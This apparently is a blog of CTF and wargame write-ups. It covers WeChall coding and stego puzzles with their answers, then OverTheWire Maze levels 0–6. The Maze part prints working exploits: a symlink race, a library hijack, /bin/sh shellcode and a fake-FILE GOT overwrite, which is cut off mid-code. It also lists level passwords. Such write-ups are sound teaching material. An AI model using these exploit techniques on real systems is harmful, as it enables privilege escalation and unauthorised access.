Hello Navi

Tech, Security & Personal Notes

Lettergrid (Coding) by gizmore 限时 word search——4.5 秒内找出网格中所有隐藏单词并按起始位置提交

Challenge

页面生成一个字母网格,需要在 4.5 秒内找出所有隐藏的单词(长度 >= 6,8 个直线方向),并按起始字母位置排序后提交。

1
2
3
Base:      https://www.wechall.net/challenge/lettergrid
Grid: generate.php → 返回 <pre> 格式的字母网格
Submit: index.php?solution=<answer>&cmd=Submit+Answer (GET)

答案格式:单词直接拼接,无分隔符(不是逗号分隔)。按单词起始位置(从上到下、从左到右)排序。

Solution

Trie 前缀树 + 8 方向扫描,单次运行 2-3 秒,远低于 4.5s 限时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests, re

BASE = 'https://www.wechall.net/challenge/lettergrid'
sess = requests.Session()
sess.cookies.set('WC', '...', domain='www.wechall.net')

# 1. 构建 Trie(单词 >= 6 字符)
class TrieNode:
__slots__ = ('children', 'is_word')
def __init__(self):
self.children = {}
self.is_word = False

root = TrieNode()
for word in open('/usr/share/dict/words'):
w = word.strip().lower()
if len(w) >= 6:
node = root
for ch in w:
node = node.children.setdefault(ch, TrieNode())
node.is_word = True

# 2. 获取网格
r = sess.get(f'{BASE}/generate.php')
match = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
grid = [list(line.strip().lower()) for line in match.group(1).strip().split('\n') if line.strip()]
ROWS, COLS = len(grid), len(grid[0])

# 3. 8 方向搜索(用 Trie 实时剪枝)
DIRS = [(0,1),(0,-1),(1,0),(-1,0),(1,1),(1,-1),(-1,1),(-1,-1)]
found = {} # word -> (start_r, start_c)

for r in range(ROWS):
for c in range(COLS):
for dr, dc in DIRS:
node, last_word, last_len = root, None, 0
for step in range(max(ROWS, COLS)):
nr, nc = r + dr*step, c + dc*step
if not (0 <= nr < ROWS and 0 <= nc < COLS): break
ch = grid[nr][nc]
if ch not in node.children: break
node = node.children[ch]
if node.is_word:
word = ''.join(grid[r+dr*s][c+dc*s] for s in range(step+1))
if word not in found:
found[word] = (r, c)

# 4. 按起始位置排序后提交
answer = ''.join(sorted(found.keys(), key=lambda w: found[w]))
print(f'Found {len(found)} words: {sorted(found.keys())}')

r = sess.get(f'{BASE}/index.php', params={'solution': answer, 'cmd': 'Submit Answer'})
if 'solved' in r.text.lower() or 'correct' in r.text.lower():
print('SOLVED!')

Key Points:

  • 无分隔符:单词按起始位置排序后直接拼接,不加逗号或空格
  • /challenge/lettergrid/:注意 URL 没有 /en/ 前缀
  • 网格来源generate.php,每次刷新不同,必须同一 session 内抓取
  • 提交方式:GET 到 index.php?solution=...&cmd=Submit+Answer,不需要 CSRF
  • 标准词库/usr/share/dict/words 或 dwyl/english-words 皆可,344K 单词 >= 6 字符足够覆盖
  • Trie 剪枝是关键:不用 Trie 的话搜索量是 网格数 × 方向 × 最大路径长度,用 Trie 可以实时过滤无效前缀
  • 答案 session-bound:每次网格不同,无固定答案

The Travelling Customer (Coding, Training) by gizmore XKCD 287 风格 bounded knapsack——5 轮,每轮 3 秒限时

Challenge

页面给一个 pricelist,要求选出指定数量的商品,使总价等于目标值,且每类商品不超过 stock。需要连续解 5 轮,每轮 3 秒。

1
2
3
Endpoint: /en/challenge/training/programming/knapsaak/
problem.php → 返回新问题
answer.php?answer=<answer> → 提交答案(GET 方式)

题目参数(problem.php 返回的纯文本格式):

1
2
3
4
5
6
7
8
Items=50
Sum=5001
Stock=2
Level=1
Pizza=713
Chips=590
Eggs=523
...

Solution

这是 bounded knapsack(精确总价 + 精确件数 + 库存限制)。DFS + memo 即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests

BASE = 'https://www.wechall.net/en/challenge/training/programming/knapsaak'
COOKIES = {'WC': '...'}

def parse_problem(text):
items = []
meta = {}
for line in text.strip().split('\n'):
if '=' not in line: continue
k, v = line.split('=', 1)
k, v = k.strip(), v.strip()
if k in ('Items', 'Sum', 'Stock', 'Level'):
meta[k] = int(v)
else:
items.append((k, int(v))) # (name, price)
return items, meta['Items'], meta['Sum'], meta['Stock']

def solve(items, need_count, need_sum, stock):
n = len(items)
prices = [p for _, p in items]
names = [n for n, _ in items]
# 按价格降序排列(剪枝效果更好)
order = sorted(range(n), key=lambda i: -prices[i])
sp = [prices[i] for i in order]

memo = {}
def dfs(idx, ri, rs):
if ri == 0 and rs == 0:
return [0] * (n - idx)
if idx == n or ri < 0 or rs < 0:
return None
key = (idx, ri, rs)
if key in memo:
return memo[key]
# 剪枝:剩余件数超出库存限制
if ri > stock * (n - idx):
memo[key] = None; return None
# 剪枝:剩余金额超出价格范围
min_p, max_p = min(sp[idx:]), max(sp[idx:])
if rs < ri * min_p or rs > ri * max_p:
memo[key] = None; return None

p = sp[idx]
for qty in range(min(stock, ri, rs // p) + 1):
sub = dfs(idx + 1, ri - qty, rs - qty * p)
if sub is not None:
memo[key] = [qty] + sub
return memo[key]
memo[key] = None
return None

qs = dfs(0, need_count, need_sum)
if qs is None: return None
# 按原始顺序还原
quants = [0] * n
for i, orig_idx in enumerate(order):
quants[orig_idx] = qs[i]
# 拼接答案:qtyName...
return ''.join(str(quants[i]) + names[i]
for i in range(n) if quants[i] > 0)

s = requests.Session()
s.cookies.update(COOKIES)

for round_num in range(5):
resp = s.get(f'{BASE}/problem.php')
items, cnt, target, stock = parse_problem(resp.text)
answer = solve(items, cnt, target, stock)
resp2 = s.get(f'{BASE}/answer.php', params={'answer': answer})
print(f'Round {round_num+1}: {resp2.text.strip()}')

Key Points:

  • GET 请求:抓题和提交都用 GET(不是 POST),不需要 CSRF token
  • Cookie 复用:用 requests.Session() 保持同一会话,5 轮连续
  • Answer 格式:数量直接拼接商品名,无分隔符。例如 2Pizza3Chips1Eggs
  • 3 秒限时:每轮从抓题到提交必须在 3 秒内完成,所以必须自动化
  • 剪枝:价格排序 + 剩余范围检查,避免 DFS 爆炸
  • session-bound:每轮题目随机,答案不固定,无法直接复用

Flow Over Astronomy (Coding, Math) by anto 自定义进制大整数计算,必须在 3.1416 秒内提交结果

Challenge

页面给出一个 charset、input base、solution base,以及一串用 input base 表示的等式。计算结果并以 solution base 表示提交。限时 3.1416 秒。

典型输入:

1
2
3
4
5
Charset: hpQiNnoSt2E_guqOHd5j]P3v01wKZFk}{c8L6fmbDsMlVU7T[IzRYeWxGaB4#@JC9yrAX
Input Base: 52
Solution Base: 25

js6Q * zQwi * 0_Qm * pOZTc * RS_m * QthQf * ... + HjRq
  • Base N 使用 charset 的前 N 个字符做编码表
  • 等式结构:一长串乘法,末尾 + 一个数(全部是 input base 编码)

Solution

两个转换函数搞定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def from_base(s, charset, base):
value = 0
table = {ch: i for i, ch in enumerate(charset[:base])}
for ch in s:
value = value * base + table[ch]
return value

def to_base(n, charset, base):
if n == 0:
return charset[0]
out = []
while n:
n, r = divmod(n, base)
out.append(charset[r])
return ''.join(reversed(out))

完整解法(抓题、计算、提交):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import re, sys
from urllib.request import Request, urlopen

CHALL_URL = 'http://www.wechall.net/en/challenge/anto/FlowOverAstronomy/index.php'
COOKIE = 'WC=...'

def fetch():
req = Request(CHALL_URL, headers={'Cookie': COOKIE})
return urlopen(req, timeout=10).read().decode()

def from_base(s, charset, base):
table = {ch: i for i, ch in enumerate(charset[:base])}
v = 0
for ch in s: v = v * base + table[ch]
return v

def to_base(n, charset, base):
if n == 0: return charset[0]
out = []
while n: n, r = divmod(n, base); out.append(charset[r])
return ''.join(reversed(out))

html = fetch()
# Parse parameters
charset = re.search(r'Charset:\s*(\S+)', html).group(1)
in_base = int(re.search(r'Input Base:\s*(\d+)', html).group(1))
out_base = int(re.search(r'Solution Base:\s*(\d+)', html).group(1))
# Parse equation — split on operators, handle multi-line
eq_match = re.search(r'Equation\s*\n(.*?)(?=\n&copy;)', html, re.DOTALL)
eq = eq_match.group(1).replace('\n', '').strip()

# Evaluate: split by + first, then *
terms = eq.split('+')
product_terms = terms[0].split('*')
add_term = terms[1].strip()

result = 1
for t in product_terms:
result *= from_base(t.strip(), charset, in_base)
result += from_base(add_term, charset, in_base)

answer = to_base(result, charset, out_base)
print(answer) # 提交这个值

关键陷阱:

  • 不用 float — 数值巨大,全部用 Python big int
  • 单 session 完成 — charset 和 equation 每次请求随机生成,不能手动分批
  • 解析等式 — 注意多行;末尾的 + HjRq 是加法项,前面的 * 是乘法
  • HTML 解析 — 不要用 .find() 切片,论坛反馈有人因此只错最后几位数字
  • 限时 3.1416s — 自动化脚本必须在同一 HTTP session 内完成抓题→计算→提交

答案 session-bound,每次不同,无法复用固定值。

PyHash (Coding, Python) by gizmore 利用 CPython 大整数 hash 的同余性质绕过哈希检查

Challenge

1
2
def fly_away(num: int) -> bool:
return hash(num) == 31337

要求找一个整数参数使函数返回 True。题面注明测试环境是 CPython 64-bit Python 3.10

Solution

CPython 对小整数有优化:hash(n) == n。所以直接传 31337 的话,hash(31337) == 31337 确实成立——但题面暗示要更大的整数,而且必须用 int,不是 float

关键是大整数的 hash 实现。CPython 用一个固定 modulus 做折叠:

1
2
import sys
P = sys.hash_info.modulus # 64-bit CPython: 2**61 - 1 = 2305843009213693951

对一个任意大整数 xhash(x) 近似等于 x % P(实际还有一步 murmur-style mixing,但对这个场景不重要)。因此构造一个与 31337 同余于 P 的大整数即可:

1
2
3
4
import sys
P = sys.hash_info.modulus
candidate = 31337 + P # 2305843009213725288
print(hash(candidate)) # 31337

完整解法:

1
2
3
4
5
6
7
8
9
import sys

def fly_away(num: int) -> bool:
return hash(num) == 31337

P = sys.hash_info.modulus # 2**61 - 1
num = 31337 + P # 2305843009213725288
assert fly_away(num) # True
print(num) # 提交这个数

这个解依赖 CPython 实现细节和 64-bit 平台。32-bit CPython 的 modulus 是 2**31 - 1,其他 Python implementation(PyPy, Jython)可能完全不同。在目标版本(CPython 3.10 64-bit)上验证通过。

如果 31337 + P 已被别人提交过,就试 31337 + k * P(k 为任意正整数)——所有同余值都有效。

2305843009213725288(或 31337 + k * 2305843009213693951)

Challenge

I have drawn a picture of a caterpillar and hid some text in it. I am sure you can figure it out, as it is not too hard :)

Solution

下载 caterpillar.png(220x55, RGBA)

标准 stegano 分析(zsteg, bit plane 扫描, LSB/MSB 全通道)无结果。PNG 只有 IHDR/sRGB/bKGD/pHYs/IDAT/IEND 六个 chunk,无附加数据。

数据不在 RGB 裸值里,而是藏在其他色彩空间的 Hue 值中。

RGB 是加色混色——R, G, B 各 0-255。毛虫的主色是黄绿,以 RGB(135,194,41) 为例:

  • R=135:不在可打印 ASCII 范围(32-126)外,chr(135) 是扩展字符
  • G=194:同上,超出范围
  • B=41:chr(41) = ),无意义

直接用 RGB 值当 ASCII 只能得到一堆乱码。

色彩空间可以互相转换

RGB 和 HSV 描述的是同一个颜色,只是坐标系不同——就像经纬度 (116.4°E, 39.9°N) 和北京市地址是同一地点。

1
2
3
4
5
6
7
8
9
10
11
import colorsys

r, g, b = 135, 194, 41

# RGB -> HSV
h, s, v = colorsys.rgb_to_hsv(r/255, g/255, b/255)
# h = 83° (色相角度), s = 79% (饱和度), v = 76% (明度)

# HSV -> RGB (可逆)
r2, g2, b2 = colorsys.hsv_to_rgb(h, s, v)
# (r2,g2,b2) == (135,194,41) # 无损还原

转换公式是解析的,无精度损失。

解法

毛虫的 8 个主 body segment,每个用了一种特定的颜色。RGB→HSV 后,H(色相角度)落在可打印 ASCII 范围内:

1
2
3
4
5
6
7
8
9
10
segment 1 (x=  0- 22)  #e1f0c9    H=83° -> 'S'
segment 2 (x= 23- 46) #e8f4d7 H=85° -> 'U'
腿阴影 (x= 47- 69) #6e7d4d H=79° -> 'O'
腿阴影 (x= 70- 92) #465512 H=73° -> 'I'
segment 3 (x= 93-115) #a9bb27 H=67° -> 'C'
segment 4 (x=116-140) #557315 H=79° -> 'O'
segment 5 (x=141-165) #7dad30 H=83° -> 'S'
segment 6 (x=166-187) #eaf4d0 H=77° -> 'M'
头部 (x=188-219) #e06478 H=350° -> 不可打印 (结束标记)
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
from PIL import Image
import colorsys
from collections import Counter

img = Image.open('caterpillar.png').convert('RGBA')
w, h = img.size

# 逐列取最常见的非白色 Hue
x_hues = {}
for x in range(w):
hues = []
for y in range(h):
r, g, b, a = img.getpixel((x, y))
if (r, g, b) == (255, 255, 255):
continue
h_val, _, _ = colorsys.rgb_to_hsv(r/255, g/255, b/255)
hues.append(round(h_val * 360))
if hues:
x_hues[x] = Counter(hues).most_common(1)[0][0]

# 合并连续相同 Hue 为段,只保留稳定段(>=10 列宽)
result = []
run_h, run_start, run_len = None, None, 0
for x in range(w):
h = x_hues.get(x)
if h == run_h:
run_len += 1
else:
if run_len >= 10 and 32 <= run_h <= 126:
result.append(chr(run_h))
run_h, run_start, run_len = h, x, 1

if run_len >= 10 and 32 <= run_h <= 126:
result.append(chr(run_h))

decoded = ''.join(result)
print(f'Decoded Hue sequence: {decoded}')
print(f'Answer (last word): {decoded.split()[-1]}')
COLOR-SHEMES

Challenge

Mr. Bacon is back with an advanced Bacon cipher. The encoder uses a non-standard mapping where the case pattern depends on the letter's position in the alphabet (a-m vs n-z), not just uppercase/lowercase.

Solution

从 GitHub 源码 (gizmore/gwf3) 分析编码器逻辑:

1
2
// bit=0: letter a-m → UPPERCASE (match), n-z → lowercase (skip)
// bit=1: letter n-z → UPPERCASE (match), a-m → lowercase (skip)

解码方法: 1. 遍历 carrier 文本,只看 UPPERCASE 字母 2. 每个大写字母提取 1 bit:a-m→0, n-z→1 3. 小写字母是噪声(编码器跳过的位置),忽略 4. 拼接 bit stream,每 5 bit 一组查 26 字母表(A=00000..Z=11001) 5. X=space

1
2
3
letters = [c for c in encoded_text if c.isalpha()]
bits = ''.join('0' if c.lower() < 'n' else '1' for c in letters if c.isupper())
answer = ''.join(chr(int(bits[i:i+5], 2) + 65) for i in range(0, len(bits), 5))
OCGMBBNGDAAM

level 0 → level 1

1
2
3
4
5
6
7
SSH Information
Host: maze.labs.overthewire.org
Port: 2225
User: maze0
Pass: maze0
Passwords: /etc/maze_pass/
Binaries: /maze/

Maze 是一个侧重 exploitation 技巧的 wargame,难度 5/10,共 9 关(0-8)。涵盖 TOCTOU race condition、library hooking、shellcode、self-modifying code、自定义 ELF 解析、ptrace 反调试、格式字符串漏洞等。

所有 binary 均为 32-bit i386 ELF,编译时带 -g debug info 和 stack protector,nasm/ld 可用,gcc 可用 -m32 编译。

1
2
3
4
5
6
7
8
9
10
11
maze0@maze:~$ ls -la /maze/
total 140
-r-sr-x--- 1 maze1 maze0 13408 maze0
-r-sr-x--- 1 maze2 maze1 12252 maze1
-r-sr-x--- 1 maze3 maze2 12708 maze2
-r-sr-x--- 1 maze4 maze3 4728 maze3
-r-sr-x--- 1 maze5 maze4 16220 maze4
-r-sr-x--- 1 maze6 maze5 14884 maze5
-r-sr-x--- 1 maze7 maze6 14204 maze6
-r-sr-x--- 1 maze8 maze7 14716 maze7
-r-sr-x--- 1 maze9 maze8 16324 maze8

每个 level 的 binary 命名规则:/maze/mazeN 是 setuid maze(N+1),跑在 mazeN 下,目标是读 /etc/maze_pass/maze(N+1)

经典 TOCTOU (Time-of-check Time-of-use) 竞争条件。

Binary 逻辑(r2 反汇编):

  1. memset(buf, 0, 0x14) — 清空 20 字节 buffer
  2. access("/tmp/128ecf542a35ac5270a87dc740918404", R_OK) — 用 real uid (maze0) 检查可读性
  3. 如果 access 失败 → 直接 return
  4. setresuid(maze1, maze1, maze1) — 全部提权到 maze1
  5. open(path, O_RDONLY)read(fd, buf, 19)write(1, buf, 19) — 读取并输出

race window 在 access() 和 open() 之间,只有十几个指令周期。ln -sf 太慢,需要用 rename() 原子交换预创建的 symlink:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// toggle.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define TARGET "/tmp/128ecf542a35ac5270a87dc740918404"

int main() {
symlink("/etc/maze_pass/maze0", "/tmp/_m0");
symlink("/etc/maze_pass/maze1", "/tmp/_m1");
while (1) {
rename("/tmp/_m0", TARGET); // 原子 → maze0
symlink("/etc/maze_pass/maze0", "/tmp/_m0");
rename("/tmp/_m1", TARGET); // 原子 → maze1
symlink("/etc/maze_pass/maze1", "/tmp/_m1");
}
}
1
2
3
4
5
6
7
8
9
maze0@maze:/tmp$ gcc -m32 -o toggle toggle.c
maze0@maze:/tmp$ ./toggle & # 后台 symlink 切换
maze0@maze:/tmp$ for i in $(seq 1 1000); do
result=$(/maze/maze0 2>/dev/null)
if [ -n "$result" ]; then
echo "HIT: $result"; break
fi
done
HIT: **********

原理:rename() 在同一文件系统上是原子的,target 始终指向一个有效文件(无 broken symlink 窗口)。access() 通过时 link 指向 maze0(maze0 可读),open() 时已被换为 maze1(maze1 可读)。

kfL7RRfpkY

level 1 → level 2

maze1 的 binary 链接了一个不存在的 ./libc.so.4

1
2
3
4
5
6
maze1@maze:~$ /maze/maze1
/maze/maze1: error while loading shared libraries: ./libc.so.4: cannot open ...

maze1@maze:~$ readelf -d /maze/maze1 | grep NEEDED
NEEDED ./libc.so.4
NEEDED libc.so.6

Binary 只调用 puts("Hello World!")。创建 hook library 劫持 puts() 即可读密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// hookputs.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>

int puts(const char *message) {
FILE *fp;
char buffer[30] = {0};
fp = fopen("/etc/maze_pass/maze2", "r");
if (fp) { fread(buffer, 29, 1, fp); fclose(fp); }
printf("PASSWORD: %s\n", buffer);
return printf("Hooked: %s\n", message ? message : "(null)");
}
1
2
3
4
5
maze1@maze:/tmp/work$ gcc -m32 -shared -fPIC -fno-stack-protector \
-o libc.so.4 hookputs.c -ldl
maze1@maze:/tmp/work$ /maze/maze1
PASSWORD: **********
Hooked: Hello World!

注意需要 -fno-stack-protector 关闭 stack canary,否则 ld 链接时报 __stack_chk_fail_local 未定义。

PBeZRPjetr

level 2 → level 3

maze2 的 binary 从 argv[1] 复制 8 字节到栈上 buffer,然后 call *buffer — 8 字节 shellcode 约束。

反汇编要点:

1
2
3
4
cmpl $2, 8(%ebp)          ; if argc != 2 → exit(1)
strncpy(buf, argv[1], 8) ; copy 8 bytes
mov buf_addr, %eax
call *%eax ; execute shellcode

解决方案:真正 shellcode 存入环境变量 SC,8 字节只做 push <addr>; ret(6 字节)。

maze3 uid = 15003 = 0x3a9b。用 pwntools 生成完整 shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
maze2@maze:/tmp/work$ python3 -c "
from pwnlib.asm import asm
import sys
sc = asm('
xor eax,eax;mov al,70
xor ebx,ebx;mov bx,0x3a9b
xor ecx,ecx;mov cx,0x3a9b
int 0x80
xor eax,eax;push eax
push 0x68732f2f;push 0x6e69622f
mov ebx,esp;xor ecx,ecx
xor edx,edx;mov al,11
int 0x80
', arch='i386')
sys.stdout.buffer.write(b'\x90'*200 + sc)
" > sc.bin

maze2@maze:/tmp/work$ export SC=$(cat sc.bin)
maze2@maze:/tmp/work$ gcc -m32 -o getaddr -xc - <<< '#include <stdio.h>
#include <stdlib.h>
int main(){printf("SC:%p\n",getenv("SC"));}'

maze2@maze:/tmp/work$ ./getaddr
SC at 0xffffdcd0

maze2@maze:/tmp/work$ /maze/maze2 $(python3 -c "
from pwnlib.asm import asm
import sys
sys.stdout.buffer.write(asm('push 0xffffdcd0; ret', arch='i386'))
")
$ cat /etc/maze_pass/maze3
DSEiCewQOv

level 3 → level 4

maze3 的 binary 是静态链接的(statically linked),使用自修改代码(self-modifying code)。

mprotect() 设置代码段 RWX,然后用 key 0x12345678 XOR 解码 d1 函数区域,reveal 出一段 shellcode。shellcode 检查 argv[1] == 0x1337c0de,通过则 setreuid(maze4) + execve("/bin/sh")

1
2
3
# <<<(here-string)
maze3@maze:~$ /maze/maze3 $(printf '\xde\xc0\x37\x13') <<< "cat /etc/maze_pass/maze4"
**********

注意:0x1337c0de 作为 int 是 little-endian \xde\xc0\x37\x13

vghylBpihH

level 4 → level 5

maze4 的 binary 读取用户提供的文件,解析为 ELF header + program header,验证通过后 execv() 执行。

验证逻辑(反汇编):

  1. read(fd, &ehdr, 0x34) — 读 52 bytes ELF header 到栈上
  2. lseek(fd, ehdr.e_phoff, SEEK_SET) — 定位到 program header
  3. read(fd, &phdr, 0x20) — 读 32 bytes program header
  4. 检查 1: phdr.p_paddr == ehdr.e_ident[7] * ehdr.e_ident[8](两个 byte 乘积)
  5. 检查 2: stat.st_size <= 0x7b(文件大小 ≤ 123 bytes)
  6. puts("valid file, executing"); execv(file, NULL, NULL);

execv() 保留 setuid 权限 — 但 shell (/bin/sh) 会主动 drop privilege。需要编译一个专用 reader binary。

1
2
3
4
5
6
7
8
9
maze4@maze:/tmp/work$ cat > reader.c << EOF
#include <unistd.h>
#include <fcntl.h>
int main(){char b[50]={0};int fd=open("/etc/maze_pass/maze5",0);
int n=read(fd,b,49);write(1,b,n);return 0;}
EOF

maze4@maze:/tmp/work$ TMPDIR=. gcc -m32 -o reader reader.c
maze4@maze:/tmp/work$ ln -sf reader r

ELF header 与 shebang #!/tmp/maze4w/r\n 重叠。e_ident[7][8] 由 shebang 的第 7、8 字节决定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
maze4@maze:/tmp/work$ python3 -c "
import struct
sh = b'#!/tmp/maze4w/r\n'
b7, b8 = sh[7], sh[8] # 0x6d ('m'), 0x61 ('a')
prod = b7 * b8 # 0x295d
pad = 28 - len(sh) # 补齐到 byte 28(e_phoff 位置)
data = sh + b'\x00'*pad + struct.pack('<I',0x20) + b'B'*12 + struct.pack('<I',prod) + b'C'*16
open('elf_file','wb').write(data)
"

maze4@maze:/tmp/work$ chmod +x elf_file
maze4@maze:/tmp/work$ /maze/maze4 elf_file
valid file, executing
**********
  • shebang 指向编译好的 reader binary(不 drop privilege)
  • ELF header 字节与 shebang 重叠,e_ident[7][8] 必须是 shebang 的实际字符
  • e_phoff = 0x20 让 program header 与 ELF header 尾部重叠
  • p_paddr(PHDR 偏移 0xc)必须等于两个 e_ident 字节的乘积
fobwgnzRy0

level 5 → level 6

maze5 的 binary 要求输入 username (8 字符) 和 key (8 字符),调用 foo(user, pass) 校验。

反编译逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
int foo(char* user, char* pass) {
char p[9] = {0x70, 0x72, 0x69, 0x6e, 0x74, 0x6c, 0x6f, 0x6c};
for (int i = 0; i < strlen(pass); ++i) {
p[i] -= user[i] + 2 * i - 0x41;
}
int i = strlen(pass);
do {
i -= 1;
if (i == 0) return 1;
} while (pass[i] == p[i]);
return 0;
}

要 pass:user[i] + 2*i - 0x41 = 0user[i] = chr(0x41 - 2*i)。此时 p 数组不变,key = 原始 p 值 = printlol

Binary 使用了 ptrace(PTRACE_TRACEME) 反调试。通过后调用 system("/bin/sh")

但 pipeline 传入 input 时 system() 产生的 shell 会收到 SIGTTOU。需要使用 pty:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pty, os, time

pid, fd = pty.fork()
if pid == 0:
os.execv("/maze/maze5", ["/maze/maze5"])
else:
time.sleep(0.5)
os.write(fd, b"A?=;9753\n")
time.sleep(0.3)
os.write(fd, b"printlol\n")
time.sleep(0.3)
os.write(fd, b"cat /etc/maze_pass/maze6\n")
time.sleep(0.5)
while True:
data = os.read(fd, 4096)
if not data: break
print(data.decode(errors="ignore"), end="")
1
2
3
4
5
6
X----------------
Username: A?=;9753
Key: printlol

Yeh, here's your shell
**********
dOM2C7ZKlG

level 6 → level 7

maze6 的 binary 是一个 strcpy overflow + memfrob XOR + fake FILE 的组合题。

1
2
3
4
5
6
maze6@maze:~$ /maze/maze6
usage: /maze/maze6 file2write2 string

maze6@maze:~$ /maze/maze6 /tmp/out test
maze6@maze:~$ cat /tmp/out
/tmp/out : khin # "test" XOR 0x2A per byte = khin

Binary 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
main:
sub esp, 0x104 ; buf[260] at ebp-0x104
cmp [ebp+8], 3 ; argc == 3?
jne usage
; fd = fopen(argv[1], "w")
call fopen ; → eax = 0x0804c1a0 (deterministic)
mov [ebp-4], eax ; fd at ebp-4
; strcpy(buf, argv[2])
lea eax, [ebp-0x104]
push [ebp+0xc]+8 ; argv[2]
push eax
call strcpy ; NO bounds check
; len = strlen(buf)
; memfrob(buf, len) ; XOR each byte with 0x2A
call strlen
push eax
lea eax, [ebp-0x104]
push eax
call memfrob
; fprintf(fd, "%s : %s\n", argv[1], buf)
push [ebp-0x104] ; buf
push argv[1]
push "%s : %s\n"
push [ebp-4] ; fd
call fprintf
; exit(0)
push 0
call exit ; never returns

安全属性(readelf -l + objdump -R):

1
2
3
4
5
ASLR          off (`randomize_va_space=0`)
RELRO none — GOT writable
NX disabled — GNU_STACK RWE
Stack canary none (`-fno-stack-protector`)
PIE none — fixed base 0x08048000

关键常量(ASLR off 下固定):

1
2
3
4
5
6
libc 32-bit base     = 0xf7d82000
_IO_file_jumps = 0xf7faa7a8 (libc + 0x2287a8)
fopen → FILE* = 0x0804c1a0 (heap)
buf = 0xffffda74 (ebp-0x104)
strcpy@got = 0x0804b204
exit@got = 0x0804b208

栈布局(从低到高):

1
2
3
4
5
6
7
ebp-0x104  buf[0]        ← strcpy 目标
...
ebp-0x04 fd (FILE*) ← offset 256 from buf
ebp saved ebp
ebp+0x04 return addr
ebp+0x08 argc
ebp+0x0c argv

漏洞利用链

目标:覆写 exit@got 为 shellcode 地址,让 exit(0) 跳转到 shellcode。

约束

  1. strcpy(buf, argv[2]) 只能通过 argv 传入,不能含 \x00(否则 strcpy 截断)
  2. memfrob(buf, len) XOR 整个 buf 区域 — 所有数据需 pre-XORpayload_byte ^ 0x2A = desired_byte
  3. fprintf 不接受 fake FILE* → 需要在栈上构造合法的 _IO_FILE 结构
  4. exit(0) 无 return → 只能通过 GOT overwrite 劫持控制流

关键洞察 1:pre-XOR 一切

1
2
3
4
5
6
def pre_xor(val):
return val ^ 0x2A2A2A2A # 每个字节 XOR 0x2A

# memfrob 会把 buf[i] ^= 0x2A
# 所以放入 buf 的字节 = desired_byte ^ 0x2A
# → 经过 memfrob 后恢复为 desired_byte

关键洞察 2:argv[1] 即 shellcode 地址

fprintf 输出 "%s : %s\n",第一个 %sargv[1](文件名)。如果 argv[1] 恰好是 4 字节,则 exit@got 的前 4 字节 = argv[1] 的内容。

因此将 argv[1] 设为 4 字节的 shellcode 地址(\x74\xda\xff\xff = 0xffffda74),fopen 以 "w" 模式打开这个怪文件名不会有问题(Linux 允许任意非 \x00/ 的字节做文件名)。只需从 /tmp 目录运行,相对路径刚好 4 字节。

关键洞察 3:glibc 2.39 32-bit 的 _IO_FILE 布局

通过 GDB dump fopen 返回的真实 FILE 结构,确定各字段偏移:

1
2
3
4
5
6
7
8
9
10
offset  field              real FILE value    our fake FILE
------ ---- ---------------- -------------
0x00 _flags 0xfbad3484 0xfbad2480 (no _IO_NO_WRITES)
0x10 _IO_write_base 0x00000000 0x0804b208 (exit@got)
0x14 _IO_write_ptr 0x00000000 0x0804b208 (empty buffer)
0x18 _IO_write_end 0x00000000 0x0804c208 (exit@got+0x1000)
0x34 _chain 0xf7fabca0 0x00000000 (NULL, end of chain)
0x38 _fileno 0x00000003 0x00000002 (stderr if overflow flush)
0x48 _lock 0x0804c238 0x0804c238 (reuse real FILE's lock)
0x94 vtable 0xf7faa7a8 0xf7faa7a8 (_IO_file_jumps)

关键点:

  • _IO_write_base == _IO_write_ptr == exit@got → fprintf 直接写入 GOT
  • _IO_write_end 远大于输出长度 → 永远不会触发 buffer flush(避免 vtable overflow 调用)
  • _lock 复用真实 FILE 的 lock(单线程程序,无竞争)
  • vtable 指向 libc 的合法 _IO_file_jumps(通过 _IO_validate_vtable 检查)

Exploit 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import struct, os

def pre_xor_dword(val):
return val ^ 0x2A2A2A2A

def pre_xor_bytes(data):
return bytes([b ^ 0x2a for b in data])

# ---- addresses (ASLR off, glibc 2.39) ----
buf_addr = 0xffffda74
exit_got = 0x0804b208
libc_base = 0xf7d82000
io_file_jumps = libc_base + 0x002287a8 # 0xf7faa7a8
real_lock = 0x0804c238 # reuse fopen's lock

# ---- build fake FILE (0x98 bytes) ----
fake_file_off = 0x30 # offset in buf
fake_file_addr = buf_addr + fake_file_off

fake = b''
fake += struct.pack('<I', pre_xor_dword(0xfbad2480)) # 0x00 _flags
fake += struct.pack('<I', pre_xor_dword(0)) * 3 # 0x04-0x0C read ptrs
fake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x10 _IO_write_base
fake += struct.pack('<I', pre_xor_dword(exit_got)) # 0x14 _IO_write_ptr
